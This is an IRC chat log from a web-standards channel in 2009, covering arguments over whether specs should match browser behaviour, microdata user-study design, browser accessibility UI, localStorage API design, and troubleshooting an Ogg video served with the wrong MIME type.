hixie, it's a timing issue

[18:57:03.0000] <othermaciej>
I don't think having users opt in to sniffing on a per-site basis would improve the user experience

[18:57:04.0000] <othermaciej>
I think it would harm the user experience

[18:58:00.0000] <masinter>
and the word "match", I think, has a wide range of interpretations

[18:58:01.0000] <othermaciej>
so I would not be inclined to go that way, even if not for the collective action problem

[18:58:02.0000] <Hixie>
masinter: how long as you willing to wait?

[18:58:03.0000] <masinter>
well, that depends a bit on the impact of the divergence

[18:58:04.0000] <othermaciej>
I think it would be silly for me as a browser developer to prioritize the needs of developers of non-browser applications over the needs of my users

[18:59:00.0000] <masinter>
i'm in favor of specs actually acknowledging current practice, telling people what's really going on

[18:59:01.0000] <Hixie>
masinter: how long as you willing to wait for the least impactful divergence?

[18:59:02.0000] <masinter>
"least impactful" is "no impact", no?

[19:00:00.0000] <masinter>
any time you have a normative requirement that can't be tested, there's no way to determine whether the spec matches reality, is there?

[19:00:01.0000] <Hixie>
masinter: how long as you willing to wait for implementations and the corresponding specs to be 100% in convergence?

[19:01:00.0000] <masinter>
need to go soon lets wrap this part up before we get onto anything else

[19:01:01.0000] <masinter>
specifications, standards, draft standards, are *proposals* for implementors

[19:02:00.0000] <masinter>
which implementors either agree or don't agree to implement

[19:02:01.0000] <Hixie>
5 years? 10 years? 20 years? 100 years?

[19:02:02.0000] <masinter>
and in the history of standards, there are no standards that are uniformly and exactly and pricely followed

[19:02:03.0000] <Hixie>
this doesn't seem like a question that needs a complicated answer

[19:02:04.0000] <Hixie>
are you saying it's ok for standards to not be uniformly and exactly and pricely followed?

[19:02:05.0000] <masinter>
it does, because the thing you're asking for a time frame for is complicated

[19:03:00.0000] <masinter>
can you name a standard that is?

[19:03:01.0000] <Hixie>
HTML5 will be in 2022

[19:03:02.0000] <masinter>
the width of railroad tracks? The distance between threads in a screw?

[19:03:03.0000] <masinter>
can you name any standard in the history of standards that has ever precisely and uniformly and exactly followed?

[19:03:04.0000] <masinter>
the length of a meter?

[19:04:00.0000] <masinter>
i think that got redefined anyway, wavelength of cesium?

[19:04:01.0000] <masinter>
i forget

[19:04:02.0000] <Hixie>
i cannot name any web standards that match reality, no, and i consider that a failing of our industry that i am trying to address in the specs i work for

[19:04:03.0000] <Hixie>
do you disagree?

[19:04:04.0000] <masinter>
disagree that you're trying to address this?

[19:04:05.0000] <Hixie>
disagree that it's a problem

[19:05:00.0000] <masinter>
it's a problem that no standard in this history of standards in computer software has ever been exactly and precisely implemented by anyone? Or more than any one implementor?

[19:06:00.0000] <Hixie>
right

[19:06:01.0000] <masinter>
well, i dunno, i have some modesty here

[19:07:00.0000] <masinter>
i've worked on a lot of standards, and i think it's better to have a realistic goal of interoperability

[19:07:01.0000] <Hixie>
ok, let me phrase it another way

[19:07:02.0000] <Hixie>
what goal is more important than the goal of specs matching reality within a time frame of a few years or decades?

[19:07:03.0000] <masinter>
that the standard helps people build things that work together, that seems like a more realistic goal, especially if the things work better than they did when the standard was written

[19:08:00.0000] <masinter>
that it's helpful to the industry in general, that it leads people to better solutions jointly than they would have made if they were all working alone or in private consortia

[19:08:01.0000] <masinter>
W3C's motto is "Leading the web to its full potential"

[19:08:02.0000] <Hixie>
aah, that explains a lot about our arguments

[19:09:00.0000] <masinter>
yes, i think so, of course, a standard isn't very helpful if nobody follows it

[19:09:01.0000] <Hixie>
indeed if you consider getting people to work together to be more important than getting full documented interop, then the html5 effort and the specs that it has spawned lie mimesniff are going to seem quite alien to you

[19:09:02.0000] <masinter>
i'm not sure, but my impression is that most people involved in this effort agree with my goal more than with yours, but i'd be interested in a poll

[19:09:03.0000] <masinter>
hardly alien

[19:10:00.0000] <masinter>
i mean, i think i understand what you want to do, i just don't think it's practical, and it's causing a lot of difficulties and alienating a lot of pepole who actually want to lead the industry to better things, rather than just describe whatever it is that a few browser vendors are willing to claim is "reality"

[19:10:01.0000] <masinter>
like with the character sniffing

[19:11:00.0000] <masinter>
you said something about all browsers implementing it or else having known bugs that they would implement it

[19:11:01.0000] <masinter>
i was going to joke about the cow planning commission's planned cowpath

[19:12:00.0000] <masinter>
and even then, there's a big range in a spec between descriging what's implemented, what MAY be done, what SHOULD be done, and what MUST be done

[19:13:00.0000] <masinter>
lots of ways of mandating the 'right thing' without nailing down behavior which isn't necessary in order to accomplish interoperability

[19:13:01.0000] <tantek>
masinter, very little of what W3C has produce over the past 10 years (e.g. http://w3.org/TR/ ) has anything to do with "Leading the web to its full potential". Mostly either useless specs, or useful only to BigCorps and behind the firewall / intranets - quite disconnected from the reality of "the web".

[19:13:02.0000] <Hixie>
i think your goal is a worthy goal, i just think specs are a horrible way to go about achieving that goal

[19:13:03.0000] <masinter>
there's no reason to believe that browser makers, if there were a spec by 2012, would continue to follow it anyway

[19:14:00.0000] <masinter>
seems to me that, at least in my experience in standards, that's what all standards efforts have been about

[19:14:01.0000] <Hixie>
if you want people working together, team building exercises, open retreats, social outings, unconferences, and the like are far more effective

[19:14:02.0000] <masinter>
well, no, i don't think so, because you actually need agreement on a technical spec

[19:15:00.0000] <Hixie>
if implementors (browser vendors or otherwise) find reason to start deviating from the spec, then the spec needs changing

[19:15:01.0000] <Hixie>
as i've said before, no spec is ever "finished" or "done" until it's obsolete

[19:15:02.0000] <masinter>
i do remember an standards subcommitee meeting where i called a meeting of the committee to convene in the hot tub

[19:15:03.0000] <masinter>
well, that's certainly not the case with any other standard I can think of, can you name anohter spec that has that policy?

[19:16:00.0000] <Hixie>
CSS has that policy

[19:17:00.0000] <Hixie>
but as i said, i think we as an industry have failed because of not having this policy

[19:17:01.0000] <masinter>
well, does anyone agree with you on that? 

[19:17:02.0000] <Hixie>
it's pretty much the consensus of the csswg and the whatwg, as far as i can tell, though i've hardly done a formal poll on the subject

[19:18:00.0000] <Hixie>
aaron sent an e-mail to the whatwg list basically asking us to move to that modal formally

[19:18:01.0000] <Hixie>
which i imagine we'll do once html5 is done

[19:18:02.0000] <Hixie>
("done" as in there are no remaining missing sections, not "done" as in interoperably implemented)

[19:19:00.0000] <masinter>
i think we might be able to make progress on technical issues without resolving the philosophy question

[19:19:01.0000] <Hixie>
possibly, but in that case you have to realise that we may come to different conclusions based on the same data, because our goals differ

[19:20:00.0000] <masinter>
Hixie: I don't think you're goal is *wrong* in the sense that it isn't desirable

[19:21:00.0000] <masinter>
well, hmmmm

[19:21:01.0000] <masinter>
actually, no, i guess i would still say it's secondary

[19:22:00.0000] <masinter>
writing specs that helps the industry build stuff that works better than it would if the spec hadn't been written is more important than making sure the spec precisely and exactly and completely describes what everyone has and will do in the future

[19:22:01.0000] <masinter>
put that way, your goal sounds very Orwellian: everything that isn't mandatory is forbidden

[19:23:00.0000] <masinter>
s/has and will do in the future/has implemented/ ?

[19:24:00.0000] <masinter>
it's the same reason why i think that interoperability with deployed browsers with significant deployed base and are unlikely to change quickly should be a goal

[19:24:01.0000] <Hixie>
i thought you said it shouldn't be a goal

[19:25:00.0000] <masinter>
well describing how to accomplish it

[19:25:01.0000] <masinter>
i mean, if you want to be useful to web site builders, giving them a clue, considering what they have to do ... those are factors

[19:26:00.0000] <masinter>
because otherwise we'll have a HTML5 web and a non-HTML5 web, and that doesn't help the industry build stuff than works better etc...

[19:26:01.0000] <Hixie>
the goal "matching reality" means that there will only be an HTML5 web

[19:26:02.0000] <masinter>
i really do have to go but i think this has been useful, hope you have

[19:27:00.0000] <Hixie>
even if it means matching browsers that won't change

[19:28:00.0000] <masinter>
i'm willing to continue this later if you are, but i need to go now, ok?

[19:29:00.0000] <Hixie>
sure

[19:29:01.0000] <Hixie>
later

[01:49:00.0000] <hsivonen>
this reminded me of some standards discussions: http://farm3.static.flickr.com/2488/3952434921_3c9b723ee8_b.jpg

[02:15:00.0000] <hsivonen>
/me notes that Mac OS X and most Linux distros ship with the capability to display .ps files. Only Windows is the odd one out.

[02:32:00.0000] <Philip`>
Windows doesn't even ship with the capability to display .pdf files

[03:00:00.0000] <othermaciej>
hsivonen: amusing

[03:54:00.0000] <Hixie>
http://damowmow.com/playground/microdata/004/ is my proposal for what we'll test monday

[03:54:01.0000] <Hixie>
it takes into account the stuff we've learnt so far

[03:58:00.0000] <Steve^>
the item attribute has gone, replaced by itemscope and itemtype?

[04:09:00.0000] <Steve^>
At first I assumed itemprop="fn org" labelled the string as both fn and org, just like class="foo bar" works.

[04:10:00.0000] <Steve^>
But I see the space is part of the name too, is this wise?

[04:10:01.0000] <Steve^>
In all other cases a hyphen is used instead

[04:11:00.0000] <Philip`>
/me attempts to use git

[04:11:01.0000] <Philip`>
User-friendliness point 1: you can run "git add -n" for the same as "git add --dry-run", but you have to run "git push --dry-run" and can't run "git push -n"

[04:13:00.0000] <Hixie>
Steve^: it actually does do what you thought in the real syntax

[04:13:01.0000] <Hixie>
Steve^: i just didn't want to try to explain that in the study, and it wasn't the point being tested

[04:13:02.0000] <Steve^>
ah, ok

[04:14:00.0000] <Hixie>
and yes, see http://damowmow.com/playground/microdata/NOTES for the changes and reasoning

[04:14:01.0000] <Steve^>
I'm the guy that notices these things and gets annoyed that the teacher won't tell me the truth :P

[04:15:00.0000] <Hixie>
yeah, i know the feeling!

[04:15:01.0000] <Steve^>
Hixie, who are the test subjects?

[04:16:00.0000] <Hixie>
the intro doc has to be as brief as possible to not take too much of the hour for them to read, while hitting all the points they'll need for the exercises, so i was focusing on conveying tutorial-like info, not spec-like info

[04:16:01.0000] <Hixie>
you mean their names? :-)

[04:17:00.0000] <Steve^>
are they people off the street? college students? web developers?

[04:17:01.0000] <Hixie>
web devs

[04:17:02.0000] <Hixie>
and software engineers

[04:17:03.0000] <Hixie>
from various walks of life

[04:18:00.0000] <Steve^>
then I feel good about my employability

[04:18:01.0000] <Hixie>
we

[04:18:02.0000] <Hixie>
er

[04:18:03.0000] <Hixie>
we've had an interesting range of people

[04:18:04.0000] <Hixie>
some were highly competent, and got this concept pretty quickly

[04:19:00.0000] <Steve^>
oh

[04:19:01.0000] <Hixie>
others thought they did but were stumbling around having problems with things that weren't even being studied

[04:19:02.0000] <Hixie>
like basic html syntax

[04:19:03.0000] <Steve^>
you mention a few things that were a problem for everyone

[04:20:00.0000] <Hixie>
yeah, containership in particular

[04:20:01.0000] <Hixie>
i've tried to make the intro doc introduce that concept more forcefully

[04:20:02.0000] <Hixie>
to see if it was just a poor intro, or if the concept itself is hard

[04:20:03.0000] <Hixie>
similarly i've made the intro say explicitly  that you can't just make up names

[04:21:00.0000] <Steve^>
the intro reads very very well

[04:22:00.0000] <Hixie>
if it tests well i might just end up using it almost verbatim as the intro section

[04:22:01.0000] <Steve^>
itemref seems upside-down to me, if you took a section out of context, you may lose the itemref link and the name/value pair loses meaning or becomes part of another item

[04:23:00.0000] <Steve^>
itemfor at least tells you it doesn't belong there, even if you don't know the whole story

[04:23:01.0000] <Hixie>
seems the problems exist in both directions

[04:25:00.0000] <Philip`>
Require the syntax to indicate the link in both directions, then it's harder to unknowingly break

[04:25:01.0000] <Steve^>
I think itemref breaks more than itemfor

[04:26:00.0000] <Steve^>
as it could add data to an item that shouldn't be there

[04:26:01.0000] <Steve^>
I like the idea of articles being completely extractable, independent of their surroundings

[04:27:00.0000] <Hixie>
the problem with itemfor="" is that it's a performance nightmare -- given an item, you have no choice but to walk the entire DOM to find if there are any more properties

[04:30:00.0000] <Philip`>
If you're extracting all the items from a document, that's not a problem, because you have to walk the DOM anyway and you can keep track of itemfors while you're doing it

[04:30:01.0000] <Philip`>
so it only seems a problem when you're trying to extract microdata from a specific element on the page

[04:31:00.0000] <Philip`>
/me doesn't know how the use cases typically would be extracting data

[04:33:00.0000] <Philip`>
/me wonders if querySelector('*[itemfor]') would be unreasonably slow anyway

[04:34:00.0000] <Steve^>
there are use cases?! :)

[04:37:00.0000] <Hixie>
the DOM API would be a case where you're trying to extract microdata from a specific element on the page

[04:37:01.0000] <Hixie>
and it happens to be a case where performance is critical

[04:38:00.0000] <Hixie>
ok bed time

[04:38:01.0000] <Hixie>
nn

[04:38:02.0000] <Steve^>
bye

[05:26:00.0000] <AryehGregor>
Sigh, yet another video about HTML5 only available if you have Flash.

[05:28:00.0000] <Steve^>
there are videos about HTML5?

[05:29:00.0000] <murr5y>
gief url!

[05:29:01.0000] <AryehGregor>
http://vimeo.com/6691519

[05:30:00.0000] <AryehGregor>
I didn't bother watching.

[05:30:01.0000] <murr5y>
well obv, it's on vimeo

[05:30:02.0000] <AryehGregor>
(Using Chrome on Linux, where enabling plugins causes the browser to freeze up every ten minutes, has given me remarkable fortitude in resisting the temptation to use Flash.)

[05:30:03.0000] <AryehGregor>
Maybe whatwg.org should offer to host HTML5-related videos in Theora with <video> only.

[05:31:00.0000] <AryehGregor>
Maybe it could allow uploads to the wiki, actually.  I think OggHandler would need setup as an extension, though, off the top of my head.

[05:31:01.0000] <Steve^>
Why are you using Chrome then?

[05:32:00.0000] <AryehGregor>
Because Firefox is hideously slow by comparison, at least for me.  Not so much with a fresh profile, but I can't be bothered to dig through what's wrong with my Firefox profile.

[05:32:01.0000] <murr5y>
flash is shabby in linux either way :p

[05:32:02.0000] <Steve^>
I found Opera handy with flash problems. Clearly flash was at fault, but Firefox would tend to crash too, whereas Opera would be a little more graceful

[05:32:03.0000] <AryehGregor>
I also like a lot of the features, like more screen real estate and such.

[05:33:00.0000] <murr5y>
i use opera/linux, it's relatively stable but crashes once in a while

[05:33:01.0000] <Steve^>
Its interesting to see how anti-accessible chrome is heading

[05:33:02.0000] <AryehGregor>
In what way?

[05:33:03.0000] <Steve^>
disabled users would benefit from more buttons on the chrome

[05:33:04.0000] <AryehGregor>
Really?

[05:33:05.0000] <Steve^>
such as text zoom buttons

[05:33:06.0000] <Steve^>
yes

[05:33:07.0000] <AryehGregor>
Do you have data to support that?

[05:33:08.0000] <Steve^>
Not personally, but it was heavily backed at standards.next

[05:34:00.0000] <Steve^>
users can be shown where the particular options are to make text bigger, but they easily forget

[05:34:01.0000] <Steve^>
the menus are too confusing. Having a button under the users nose may help them use these options

[05:34:02.0000] <othermaciej>
having lots of buttons in the default UI is bad for most people

[05:34:03.0000] <AryehGregor>
Frankly, I'm not disabled, so I don't really care.  If you have poor vision, you should be increasing your default OS font size.

[05:34:04.0000] <AryehGregor>
(I don't personally care, I mean.  If I were a Chromium dev I'd care.)

[05:35:00.0000] <Steve^>
sure

[05:35:01.0000] <AryehGregor>
(But not at the expense of non-disabled users, since there are way more of them.)

[05:35:02.0000] <Steve^>
the concensus is 

[05:35:03.0000] <Steve^>
that you should have a javascript text soom function on your site

[05:35:04.0000] <Steve^>
because we can't trust the browsers and OS settings to me easy to set

[05:35:05.0000] <Steve^>
which is daft, but that's the way it is

[05:36:00.0000] <othermaciej>
in Safari on Mac, you can use Command + and Command - to zoom

[05:36:01.0000] <Steve^>
othermaciej, that's not helpful

[05:36:02.0000] <othermaciej>
which for experienced users is much more memorable than any button, since it is quick and consistent across apps

[05:36:03.0000] <Steve^>
the user needs to remember that

[05:36:04.0000] <othermaciej>
I dare say it's more helpful than having zoom buttons on the default toolbar (you can customize the toolbar to add them)

[05:36:05.0000] <Steve^>
memorable is a bad assumption for accessibility

[05:37:00.0000] <othermaciej>
putting lots of buttons in the toolbar is a bad assumption for usability by anyone

[05:37:01.0000] <othermaciej>
there is also an OS-wide screen zoom feature

[05:37:02.0000] <Steve^>
sure, don't put everything on there

[05:38:00.0000] <othermaciej>
I think web pages adding zoom (with different behavior than the built-in kind) is likely to be more confusing than helpful

[05:38:01.0000] <AryehGregor>
Has anyone presented any data indicating a real problem?

[05:38:02.0000] <Steve^>
I'm bringing this information from a meeting of people working with cognitive and other disabilities

[05:38:03.0000] <AryehGregor>
And do they have actual data?

[05:39:00.0000] <Steve^>
yes

[05:39:01.0000] <AryehGregor>
Guess they should file an issue in Chrome's issue tracker, then.

[05:40:00.0000] <Steve^>
one woman showed us videos of people interacting with common websites, she's done a lot of hands on work with disabled users

[05:40:01.0000] <Steve^>
but she doesn't seem to have a website, so I'm not sure what I can show you

[05:40:02.0000] <AryehGregor>
"Give our small minority of users extra space on the toolbar that's wasted for everyone else" probably isn't an adequate solution, though.

[05:40:03.0000] <Steve^>
But it is a fact that many users cannot remember where the browsers settings for text size is

[05:40:04.0000] <AryehGregor>
They shouldn't have to, they should set it once in the OS if they need to.

[05:40:05.0000] <AryehGregor>
And have it work for all apps.

[05:40:06.0000] <Steve^>
or any other setting

[05:41:00.0000] <Steve^>
should is another bad word

[05:41:01.0000] <Steve^>
unfortunately we have to work with what people actually do, rather than what they should

[05:41:02.0000] <othermaciej>
most users don't change any settings

[05:41:03.0000] <Steve^>
A good example is an internet cafe with a different browser and a computer that can't be altered

[05:41:04.0000] <Steve^>
how do we allow them to use our website?

[05:42:00.0000] <othermaciej>
however, it would be wrong to conclude from this that UI should be designed to cater to a wide variety of special needs

[05:42:01.0000] <Steve^>
this could be a council website, viewed from a library machine for example

[05:42:02.0000] <othermaciej>
(the default UI)

[05:42:03.0000] <Steve^>
So, a dialog should pop up at the start, please select your disabilities:

[05:43:00.0000] <AryehGregor>
No, dialogs are evil.

[05:43:01.0000] <othermaciej>
Mac OS X does let you indicate you are blind at install (or initial system configuration) time and goes straight into spoken UI

[05:43:02.0000] <Steve^>
bruce posted a link on twitter to a site about html5 with massive text. It was actually too big to read and I closed the site

[05:43:03.0000] <Steve^>
This is what users do when they have difficulties, they close the site

[05:44:00.0000] <Steve^>
I think Mac OS X is a bad example as not everyone can use it

[05:44:01.0000] <AryehGregor>
Burdening all users with things that are only really needed for a small minority is still not the answer.

[05:44:02.0000] <Steve^>
and I don't think Apple give cheap macs to people that need them

[05:45:00.0000] <jgraham>
/me wonders what OS "everyone can use"

[05:45:01.0000] <Steve^>
Perhaps not, but what is the answer?

[05:45:02.0000] <AryehGregor>
Realistically, essentially everyone can use a Windows desktop.  Lots of people need to run Windows-only apps, few people need to run Mac/Linux-only apps.

[05:46:00.0000] <othermaciej>
the answer is to allow minorities to configure software for their needs fairly easily

[05:46:01.0000] <AryehGregor>
Steve^, maybe there is none.  Life acts that way sometimes.

[05:46:02.0000] <AryehGregor>
Cure all visual disabilities, how about that?

[05:46:03.0000] <othermaciej>
Mac OS X ships with a screen reader included, but we don't turn it on for all users

[05:46:04.0000] <AryehGregor>
C'mon, we're in the middle of a biotech revolution, right?

[05:46:05.0000] <othermaciej>
likewise it has high-contrast mode which is also not on by default

[05:47:00.0000] <AryehGregor>
othermaciej, I talked to a blind user once about screen readers.  IIRC, he said the major screen readers were Windows were both terrible and horrifyingly expensive; the Linux ones were about as terrible as the Windows ones, but at least they were free; and OS X's was awesome and came bundled with the OS.  :)

[05:47:01.0000] <AryehGregor>
s/were Windows/for Windows/

[05:47:02.0000] <othermaciej>
sorry to keep using Mac OS X as an example based on the fact that I think it does things well

[05:47:03.0000] <jgraham>
AryehGregor: Well I could, but I would have to buy windows. Just like I had to buy a Mac (my desktop was second hand and so didn't have an OS)

[05:48:00.0000] <Steve^>
anyway, my original point is that chrome is going the wrong way

[05:48:01.0000] <Steve^>
minimalist designs confuse people

[05:48:02.0000] <AryehGregor>
I totally disagree.  And so do Google's usability studies.

[05:48:03.0000] <othermaciej>
I don't think that is true as a general rule

[05:48:04.0000] <AryehGregor>
(which, presumably, are mostly on people who aren't disabled)

[05:48:05.0000] <murr5y>
complex designs confuse people

[05:48:06.0000] <Steve^>
I think Microsofts choice to hide the menu bar from everything is very confusing

[05:49:00.0000] <Steve^>
I hate menus that auto-hide items

[05:49:01.0000] <jgraham>
/me finds the Chrome UI somewhat too minimal but that might not be typical

[05:49:02.0000] <othermaciej>
there is such a thing as being too minimalist, to the point that you can't find needed features

[05:49:03.0000] <Steve^>
I need to be able to see the options

[05:49:04.0000] <AryehGregor>
That I agree with, but I don't think it's comparable to Chrome's UI decisions.

[05:49:05.0000] <murr5y>
it's a fine line

[05:49:06.0000] <murr5y>
and it all depends on the users needs

[05:49:07.0000] <othermaciej>
but in general, user interfaces with fewer moving parts are easier to use

[05:50:00.0000] <Steve^>
if you are trained with the Office ribbon, it is nice to use

[05:50:01.0000] <Steve^>
but IE7 is dreadful for finding options

[05:50:02.0000] <jgraham>
It's more like UIs with the right (and only the right) moving parts are easiest to use

[05:50:03.0000] <othermaciej>
of course, I work for a company famous for making a device with only one button, so I may be biased

[05:50:04.0000] <AryehGregor>
http://www.theonion.com/content/video/apple_introduces_revolutionary

[05:50:05.0000] <Steve^>
doesn't it have 2 buttons?

[05:50:06.0000] <AryehGregor>
(another Flash-only video, of course)

[05:50:07.0000] <jgraham>
e.g. it turn out that the apple remote is a terrible ui for doing text input

[05:51:00.0000] <jgraham>
because it only has 5 buttons

[05:51:01.0000] <othermaciej>
that I'd believe

[05:52:00.0000] <othermaciej>
I certainly would not use it to write my novel, or even compose an email

[05:53:00.0000] <Steve^>
I must depart, be back later

[05:53:01.0000] <jgraham>
We were using one to find music on youtube and the gap between songs was about as long as the songs because entering the search terms was so slow

[05:54:00.0000] <jgraham>
Not taht this has anything to do with the chrome ui, really

[05:54:01.0000] <othermaciej>
not really, no

[06:07:00.0000] <annevk2>
why is there itemtype now? I thought types were based on elements?

[06:08:00.0000] <annevk2>
wow, that Web IDL discussion exploded

[06:12:00.0000] <jgraham>
/me doesn't know if it is worth making a case for catchalls

[06:13:00.0000] <annevk2>
400 new messages during the weekend is no fun

[06:13:01.0000] <jgraham>
Especially since they are pretty much part of the legacy now

[06:13:02.0000] <jgraham>
annevk2: I sympathise

[06:14:00.0000] <othermaciej>
making a case for them being good?

[06:14:01.0000] <jgraham>
othermaciej: Making a case for them being a naural fit for localStorage

[06:14:02.0000] <jgraham>
*natural

[06:15:00.0000] <othermaciej>
they are, but the possibility for conflict with built-in methods and properties makes them hard to use safely

[06:16:00.0000] <jgraham>
What do you mean safely? Just "people have to avoid creating items called toString" or someething security related?

[06:16:01.0000] <othermaciej>
having storage items named "key", "length" or "clear" is not that unlikely

[06:16:02.0000] <othermaciej>
not security, just "easy to write buggy code accidentally"

[06:17:00.0000] <othermaciej>
for example, if you write APIs that layer on top of Storage and handle arbitrarily named storage items, you'd better use getItem() / setItem() instead of brackets

[06:18:00.0000] <jgraham>
There is a concern there

[06:19:00.0000] <jgraham>
Although it is generally true in ECMAScript that if you try to use an object as a hash table you can trip over the things in the prototype chain

[06:19:01.0000] <othermaciej>
yep - would be nice to have proper hashtables of some sort

[06:20:00.0000] <jgraham>
Indeed, and if ECMAScript had them localStorage woul be using that API instead

[06:21:00.0000] <jgraham>
I tend to think that if people are trying to make some natural feeling API and the language makes it hard to do that safely it is a problem with the language rather than with the desire for that API

[06:22:00.0000] <jgraham>
Although it is harder to fix the language than just avoid certian designs

[06:24:00.0000] <othermaciej>
I think if the Storage object forced you to use methods (maybe just "get" and "set" instead of getItem and setItem) it would not feel much less natural

[06:25:00.0000] <othermaciej>
(of course it's too late to change now, but speaking hypothetically)

[08:17:00.0000] <theMadness>
Ouhm, xfn seems to be conflicting with html5.

[08:17:01.0000] <theMadness>
http://gmpg.org/xfn/join <=point 3, that doesn't quite validate.

[08:30:00.0000] <gsnedders>
theMadness: Everything ignores the profile attribute anyway.

[08:31:00.0000] <theMadness>
Yay. :P

[10:29:00.0000] <hsivonen>
We should define Universal Representation Locators

[11:14:00.0000] <AryehGregor>
hsivonen, or define "resource" to mean "representation, since no one uses content negotiation anyway, stfu".

[11:26:00.0000] <hsivonen>
AryehGregor: yeah, that would be better

[11:27:00.0000] <Dashiva>
That would just make even more noise

[11:27:01.0000] <Dashiva>
Go with Representation, that way you don't change a stable and useful existing standard

[14:50:00.0000] <AryehGregor>
Hixie, are we still scheduled for October Last Call?

[14:52:00.0000] <Philip`>
If there's a delay, we can just redefine October to match the reality of the spec's status

[15:35:00.0000] <jgraham>
Isn't the internet in an eternal september anyway?

[15:59:00.0000] <AryehGregor>
jgraham, awesome catch.


2009-09-28
[18:18:00.0000] <Hixie>
AryehGregor: you tell me: http://www.whatwg.org/issues/data.html

[19:27:00.0000] <johnnyk>
I have a question about HTML 5 <video> - For some reason I can play videos by direct URL, but they do not play when embedded in the <video> tag. I'm using Fx 3.5...

[19:28:00.0000] <johnnyk>
It's sort of strange, I have never come across anything exactly like this before...

[19:28:01.0000] <inimino>
what does "embedded in the <video> tag" mean specifically?

[19:28:02.0000] <johnnyk>
<video src="URL">

[19:29:00.0000] <johnnyk>
I know that src is referencing the right file, because if I (in Firefox) right click the video element and click "View Video", the video is downloaded just fine...

[19:29:01.0000] <mpilgrim>
reading the backscroll from the weekend

[19:29:02.0000] <mpilgrim>
sorry i missed the lively chat about content sniffing

[19:30:00.0000] <doublec>
johnnyk, is the video an Ogg Theora video? Is it being served with the correct mime type?

[19:31:00.0000] <johnnyk>
doublec - It is ogg Theora, with ogv extension. How can I know if it is being served with the correct mime type?

[19:31:01.0000] <doublec>
look at the HTTP headers

[19:31:02.0000] <doublec>
maybe try: wget -S url.ogv

[19:31:03.0000] <johnnyk>
cool, I'll try...

[19:31:04.0000] <doublec>
and look for the Content-Type header

[19:32:00.0000] <mpilgrim>
is there a reference implementation of the proposed content sniffing algorithm?

[19:32:01.0000] <johnnyk>
  Content-Type: text/plain :-(

[19:32:02.0000] <johnnyk>
But I guess that's my answer...

[19:32:03.0000] <doublec>
yep

[19:32:04.0000] <doublec>
do you control the server?

[19:33:00.0000] <johnnyk>
Why is it being served up like that? I've had this happen on multiple hosts, right now on XAMPP

[19:33:01.0000] <johnnyk>
I'm using XAMPP right now, so yes

[19:33:02.0000] <doublec>
what is xampp?

[19:33:03.0000] <johnnyk>
Just a little program to run a server on localhost

[19:33:04.0000] <johnnyk>
For testing purposes, etc

[19:34:00.0000] <johnnyk>
I guess it's not limited to that, but yeah

[19:36:00.0000] <miketaylr>
so Modernizr is telling me that the latest webkit supports type=color, which is cool.

[19:37:00.0000] <miketaylr>
anyone know if its going to get any native chrome/ui?

[19:37:01.0000] <aspireonescs>
thats the mac version of WAMP right johnnyk?

[19:38:00.0000] <tkent>
miketaylr: it's not have any fancy UI.  Just a text field with type validation.

[19:38:01.0000] <johnnyk>
Nope, Linux. Thanks for the help by the way

[19:38:02.0000] <miketaylr>
tkent: ok, thanks.

[19:38:03.0000] <johnnyk>
Actually

[19:38:04.0000] <aspireonescs>
ah

[19:38:05.0000] <miketaylr>
i s'pose i can make my own fancy ui. ;)

[19:38:06.0000] <johnnyk>
I see what you mean now. Yes. XAMPP is the generic name. When installed on Linux it is called LAMPP, Windows is WAMPP, etc

[19:39:00.0000] <aspireonescs>
ah ya i use WAMP

[19:39:01.0000] <jt6195>
me too

[19:39:02.0000] <johnnyk>
Yup yup, pretty much the same thing.

[19:39:03.0000] <doublec>
johnnyk, you should be able to configure apache to serve the correct mime type

[19:39:04.0000] <doublec>
http://en.flossmanuals.net/TheoraCookbook/MyHosting

[19:39:05.0000] <doublec>
explains how

[19:39:06.0000] <aspireonescs>
ya it makes installing/configing a web server esasy

[19:40:00.0000] <johnnyk>
cool stuff. Thanks alot for all the help doublec and aspireonescs

[19:40:01.0000] <doublec>
np

[19:43:00.0000] <johnnyk>
doublec - Worked like a charm. Sorry if this isn't typically a venue for questions, which is becoming apparent by the other conversaitons going on. :-) But anyway, thanks again for the tip!

[19:43:01.0000] <doublec>
no worries, glad it helped

[19:44:00.0000] <mpilgrim>
i searched for 'mime sniff barth python' and came up empty

[19:44:01.0000] <mpilgrim>
or rather, i came up with a link to my own writing in the top 3 results

[19:44:02.0000] <mpilgrim>
which is never a good sign when you're looking for something you know you haven't written yet

[19:45:00.0000] <roc>
every so often I search for answers to some technical question and find my own posts about it in the top hits

[19:45:01.0000] <roc>
that is always depressing

[19:48:00.0000] <mpilgrim>
i would also love to know if there are any test cases built around http://tools.ietf.org/html/draft-abarth-mime-sniff-01

[19:48:01.0000] <mpilgrim>
or if i need to write those too

[23:37:00.0000] <heycam>
hsivonen, ping?

[23:38:00.0000] <hsivonen>
heycam: pong

[23:38:01.0000] <heycam>
hi.  i was just wondering if you have an online version of the validator that does the foreign content stuff.

[23:39:00.0000] <hsivonen>
heycam: in text/html? The parser does but the HTML5 schema doesn't yet

[23:39:01.0000] <heycam>
hsivonen, yeah

[23:39:02.0000] <heycam>
oh ok

[23:39:03.0000] <heycam>
so i was just trying an example with the live dom viewer, and it gave some unexpected behaviour

[23:40:00.0000] <heycam>
wanted to check if it was valid

[23:40:01.0000] <hsivonen>
what was the unexpected behavior?

[23:40:02.0000] <heycam>
i'll get a link

[23:41:00.0000] <heycam>
http://livedom.validator.nu/?%3C!DOCTYPE%20html%3E%0A%3Ctable%3E%0A%20%20%3Ctr%3E%0A%20%20%20%20%3Ctd%3E%0A%20%20%20%20%20%20%3Csvg%3E%0A%20%20%20%20%20%20%20%20%3CforeignObject%3E%0A%20%20%20%20%20%20%20%20%20%20%3Ctable%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%0A%20%20%20%20%20%20%20%20%20%20%3C%2Ftable%3E%0A%20%20%20%20%20%20%20%20%3C%2FforeignObject%3E%0A%20%20%20%20%20%20%3C%2Fsvg%3E%0A%20%20%20%20%3Ctd%3E%0A%20%20%20%20%20%20Hi%0A%20%20%3C%2Ft

[23:41:01.0000] <heycam>
r%3E%0A%3C%2Ftable%3E%0Athere

[23:41:02.0000] <heycam>
apologies for the bonus whitespace

[23:41:03.0000] <heycam>
actually that might've got cut off

[23:41:04.0000] <heycam>
http://bit.ly/HtImi

[23:42:00.0000] <heycam>
i was surprised that the third <td> start tag didn't create a third <td> element

[23:43:00.0000] <heycam>
i wondered how the parser was handling nested foreign/html/foreign/etc. content with respect to the secondary insertion mode

[23:43:01.0000] <heycam>
since it seems to be just a single variable, and not a stack

[23:43:02.0000] <heycam>
do you know if that fragment should be valid?

[23:43:03.0000] <hsivonen>
